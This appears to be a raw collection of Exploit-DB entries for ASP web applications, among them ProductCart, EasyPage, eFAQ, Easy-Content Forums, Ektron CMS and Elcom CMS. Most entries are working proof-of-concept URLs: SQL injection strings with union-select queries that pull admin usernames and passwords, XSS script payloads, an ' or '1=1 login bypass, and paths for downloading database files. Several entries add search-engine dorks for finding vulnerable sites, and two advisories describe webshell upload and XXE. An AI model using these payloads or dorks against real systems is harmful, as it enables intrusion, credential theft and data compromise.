deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31276
Description: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'Labels.asp?Term' SQL Injection
Type: webapps
Platform: asp
Date: 2008-02-21
Author: Arsalan Emamjomehkashan

Exploit:
source: https://www.securityfocus.com/bid/27924/info
 
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.
 
http://www.example.com/Labels.asp?&Term=SQL
Exploit-DB #25796
Description: Early Impact ProductCart 2.6/2.7 - 'editCategories.asp?lid' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-06
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13881/info
 
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/editCategories.asp?nav=&lid=[id cat][sql injection]
Exploit-DB #25797
Description: Early Impact ProductCart 2.6/2.7 - 'modCustomCardPaymentOpt.asp?idc' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-06
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13881/info
  
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/modCustomCardPaymentOpt.asp?mode=Edit&idc=[page][sqlinjection]&id=[id]&gwCode=[code]
Exploit-DB #25798
Description: Early Impact ProductCart 2.6/2.7 - 'OptionFieldsEdit.asp?idccr' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-06
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13881/info
   
ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=[id]&idccr=[id][sqlInjection]
Exploit-DB #25795
Description: Early Impact ProductCart 2.6/2.7 - 'viewPrd.asp?idcategory' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-06
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13881/info

ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pc/viewPrd.asp?idcategory=[catid][SQL INJECTION]&idproduct=[prod id]
Exploit-DB #7340
Description: Easy News Content Management - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-04
Author: BeyazKurt

Exploit:
#######################################################
# Author : BeyazKurt
# Contact : BeyazKurt@BSDMail.Com
# Site : www.khg-crew.ws - KOSOVA HACKERS GROUP
#
# Script : Easy Content Management Publishing
# Script Site : http://easy-news.org/content-management-terns.asp
# Description :
#  An easy to use ASP-based content management news system. Mulitple login levels, news expiration dates and many more 
# features. Uses MS Access database. Content management systems help increase freshness of your sites content by makeing it 
# easy to update. Free license under the GPL.
# 
# Exploit:
# SITE.COM/Database/News.mdb
# D0rk : "powered by easy-news.org"
#
# -------------------------------
#       Mitrovica Ã«shtÃ« KosovÃ«, Kosova Ã«shtÃ« Shqiperi - Etnic ALBANIA (H)
#                       Proud 2 Be MUSLIM !
#                      Proud 2 Be ALBANIAN !
# Boyle aciklarida yayinliyosan yuh a.g
#######################################################

# milw0rm.com [2008-12-04]
Exploit-DB #15665
Description: Easy Travel Portal 2 - 'travelbycountry.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-03
Author: Ulrik Persson

Exploit:
TITLE: Easy Travel Portal "travelbycountry.asp" SQL Injection Vulnerability
PRODUCT: Easy Travel Portal v2
PRODUCT URL: http://www.softwebsnepal.com/travel_website_progamming_portal.htm
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/

VULN:

http://[host]/[path]/travelbycountry.asp?country=China%27%20union%20insect
Exploit-DB #1834
Description: Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-05-26
Author: ajann

Exploit:
ENGLISH
# Title  :   Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities
# Dork   :   "Copyright 2004 easy-content forums"
# Author :   ajann
# Exploit;

SQL INJECT.ON--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=SQL TEXT
###  http://[target]/[path]/topics.asp?catid=1'SQL TEXT =>catid=x

Example:
http://[target]/[path]/topics.asp?catid=1 union+select+0,password,0,0,0,0,0,0,0,0+from+tbl_forum_users

XSS--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=xss TEXT
### http://[target]/[path]/topics.asp?catid=30&forumname=XSS TEXT

Example:
http://[target]/[path]/topics.asp?catid=30&forumname=%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E == X




TURKISH
# Ba.l.k          :   Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities
# Sözcük[Arama]   :   "powered by phpmydirectory"
# Aç... Bulan     :   ajann
# Aç.k bulunan dosyalar;

SQL INJECT.ON--------------------------------------------------------
###  http://[target]/[path]/userview.asp?startletter=SQL SORGUNUZ
###  http://[target]/[path]/topics.asp?catid=1'SQL SORGUNUZ =>catid=De.i.ken

Örnek:
http://[target]/[path]/topics.asp?catid=1 union+select+0,password,0,0,0,0,0,0,0,0+from+tbl_forum_users

XSS--------------------------------------------------------

###  http://[target]/[path]/userview.asp?startletter=XSS KODLARINIZ
### http://[target]/[path]/topics.asp?catid=30&forumname=XSS KODLARINIZ

Örnek:
http://[target]/[path]/topics.asp?catid=30&forumname=%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28%27X%27%29%3B%3C%2Fscript%3E Ekrana X uyar.s. c.kar.cakt.r.

Ac.klama:
userview.asp , topics.asp dosyalar.nda bulunan filtreleme eksikli.i nedeniyle sql sorgu cal.st.r.labilmektedir.
userview.asp , topics.asp dosyalar.nda bulunan filtreleme eksikli.i nedeniyle xss kodlar. cal.sabilmektedir.

# milw0rm.com [2006-05-26]
Exploit-DB #18395
Description: EasyPage - SQL Injection
Type: webapps
Platform: asp
Date: 2012-01-20
Author: Red Security TEAM

Exploit:
# 
# Title     : EasyPage SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 19/01/2012
# Risk      : High
# Vendor    : http://karait.com/
# Tested On : Windows Server 2008 (Microsoft-IIS/7.5)
# Dork      : inurl:default.aspx?page=Document&app=Documents&docId=*
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/default.aspx?page=Document&app=Documents&docId=[SQLi]
#
# Example   : 
#
# [Get Database Name]
# http://server/default.aspx?page=Document&app=Documents&docId=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
#
Exploit-DB #28587
Description: EasyPage 7 - 'Default.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-15
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/20049/info

EasyPage is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

EasyPage version 7 is reported vulnerable; other versions may also be affected.

http://www.example.com/default.aspx?page=Search&app=Search&srch=[sql]
Exploit-DB #28597
Description: ECardPro 2.0 - 'search.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-18
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20080/info

ECardPro is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 2.0; other versions may also be vulnerable.

http://www.example.com/search.asp?keyword='[SQL HERE]
Exploit-DB #15687
Description: Ecommercemax Solutions Digital Goods Seller - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-05
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title:Ecommercemax Solutions Digital good seller Sql Injection Vulnerablity 
# Date: 05-12-2010
# Vendor or Software Link:http://www.ecommercemax.com/
# Category:WebApp
# Version:1.5
# Price:60$
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members

  Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

DGS auto-fulfills the orders by sending a download code, password and 
download link to your customers instantly. 
They get the goods, you get the cash! All these happening w/out you lifting a finger. 
Sell e-books, e-zines, Flash, digital arts, ringtones... Code: ASP 2.0 & VBScript

[Vulnerability]

SQL Injection:

http://server/shoppingcart.asp?d=[Code]
########################################################################################
Exploit-DB #25466
Description: ECommPro 3.0 - 'Admin/login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-20
Author: c0d3r

Exploit:
source: https://www.securityfocus.com/bid/13274/info

EcommProV3 is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD='[SQL Injection]
http://www.example.com/scart/admin/login.asp?AdminID=admin&AdminPWD=''='[SQL Injection]
Exploit-DB #27849
Description: EDirectoryPro - 'Search_result.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-09
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/17912/info

EDirectoryPro is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/linkdirectory/search_result.asp?Category=2&keyword=%27+or+%27%3D%27&mode=date
Exploit-DB #32300
Description: Educe ASP Search Engine 1.5.6 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-08-26
Author: JoCk3r

Exploit:
source: https://www.securityfocus.com/bid/30849/info

ASP Search Engine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ASP Search Engine 1.5.6 is vulnerable; other versions may also be affected. 

http://www.example.com/resource/searchdemo/search.asp?look_for="><script>alert("JoCk3r")</script>
Exploit-DB #10449
Description: EEGshop 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-15
Author: Securitylab.ir

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: EEGshop
# Version: 1.2
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: info@securitylab[dot]ir , secu_lab_ir@yahoo.com
#################################################################
#===========================================================
# http://servertx/User/shhr_inc.asp?action=edit&id=24%20and%201=2%20union%20select%201,2,username,password,5,6,7,8,9%20from%20eeg_admin%20where%20id=1
#===========================================================
#################################################################
Security Research Team
###################################################################
Exploit-DB #7800
Description: eFAQ - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-16
Author: ByALBAYX

Exploit:
#------C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]eFAQ (Auth Bypass) SQL Injection Vulnerability

[~]Script        : eFAQ

[~]Price         : $49.95  save $50.00   :) 

[~]Demo          : http://faq.enthrallweb.us/

[~]eFAQ details  : http://enthrallweb.com/detail.asp?productID=7
#############################################
[~]username  : ' or '1=1

[~]password  : ' or '1=1
#############################################
[~]횆째횇타inize Baq횆짹n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden 횆째횆탑REND횆째M...
Onun derdini g횄쨋rd횄쩌m, derdime 횆째MREND횆째M...
----------
FilistiN

# milw0rm.com [2009-01-16]
Exploit-DB #31582
Description: EfesTECH Video 5.0 - 'catID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-03-31
Author: RMx

Exploit:
source: https://www.securityfocus.com/bid/28532/info

EfesTECH Video is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

EfesTECH Video 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/default.asp?catID=-1%20union%20select%200,kullanici,eposta,3,4,5,sifre,7,8,9,10,11,12,13%20from%20uyeler
Exploit-DB #29333
Description: Efkan Forum 1.0 - 'Grup' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-22
Author: ShaFuq31

Exploit:
source: https://www.securityfocus.com/bid/21726/info

Efkan Forum is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ScriptPath/default.asp?islem=gruplar&grup=[SQL]
Exploit-DB #11097
Description: Egreetings 1.0b - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-10
Author: ViRuSMaN

Exploit:
========================================================================

======
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


========================================================================

======
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
========================================================================

======
        [»] Egreetings v1.0 b Remote Database Disclosure Vulnerability
========================================================================

======

    [»] Script:             [ Egreetings ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Systeme d envoie de cartes de voeux ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/kort.mdb

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #27846
Description: EImagePro - 'subList.asp?CatID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-09
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/17911/info

EImagePro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/subList.asp?CatID=&#039;
Exploit-DB #21085
Description: Ektron CMS 8.5.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2012-09-05
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-12-009

Release Date.              05-Sep-2012
Last Update.               -              
Vendor Notification Date.  07-May-2012
Product.                   Ektron CMS
Platform.                  ASP.NET
Affected versions.         Ektron CMS version 8.5.0 and possibly others
Severity Rating.           High
Impact.                    Exposure of sensitive information
                           Exposure of system information
                           System Access
Attack Vector.             Remote without authentication
Solution Status.           Fixed in version 8.6 
                           (not verified by SOS)
CVE reference.             CVE - not yet assigned

Details.
The web application is vulnerable to multiple security
vulnerabilities, such as Unauthenticated File Upload and
XML eXternal Entities (XXE) injection.

1.Unauthenticated File Upload:
The form /WorkArea/Upload.aspx does not require authentication
to upload a file. By issuing a POST request with a webshell
embedded in a JPEG image and specifying the ASPX extension it is
possible to upload ASPX code to /uploadedimages/. The ASPX code
is placed in the comment section of the JPEG so that it survives
image resizing.

2.XXE Injection:
The XML parser at /WorkArea/Blogs/xmlrpc.aspx is vulnerable to
XML external entity attacks which can be used to Scan behind
perimeter firewalls or possibly include files from the local file
system e.g.
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>

Solution.
Upgrade to version 8.6 and remove the /WorkArea/Blogs/xmlrpc.aspx file.

Discovered by.
Phil Taylor and Nadeem Salim from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment 
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.


Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-009.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #20864
Description: Elcom CMS 7.4.10 - Community Manager Insecure Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2012-08-27
Author: Sense of Security

Exploit:
Elcom CMS - Community Manager Insecure File Upload Vulnerability - Security 
Advisory - SOS-12-008


Release Date.              24-Aug-2012
Last Update.               -
Vendor Notification Date.  28-Oct-2011
Product.                   Elcom CMS - Community Manager
Platform.                  ASP.NET
Affected versions.         Elcom Community Manager version 7.4.10 and 
possibly others
Severity Rating.           High
Impact.                    Exposure of system information
                           Exposure of sensitive information
                           System Access
Attack Vector.             Remote with authentication
Solution Status.           Fixed in version 7.5 and later (not verified by 
SOS)
CVE reference.             CVE - not yet assigned

Details.
The https://[server]/UploadStyleSheet.aspx script does not validate the file 
type passed in the parameter "myfile0" on the server side allowing the 
uploading and execution of ASPX files. An attacker can upload an ASPX web 
shell and execute commands with web server user privileges.

Proof of Concept (port scanning).
A shell uploaded using the vulnerable 
(https://[server]/UploadStyleSheet.aspx) script can be accessed at the 
following location: https://[server]/UserUploadedStyles/shell.aspx

Solution.
Upgrade to version 7.5 or later.

Discovered by.
Phil Taylor and Nadeem Salim from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-008.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php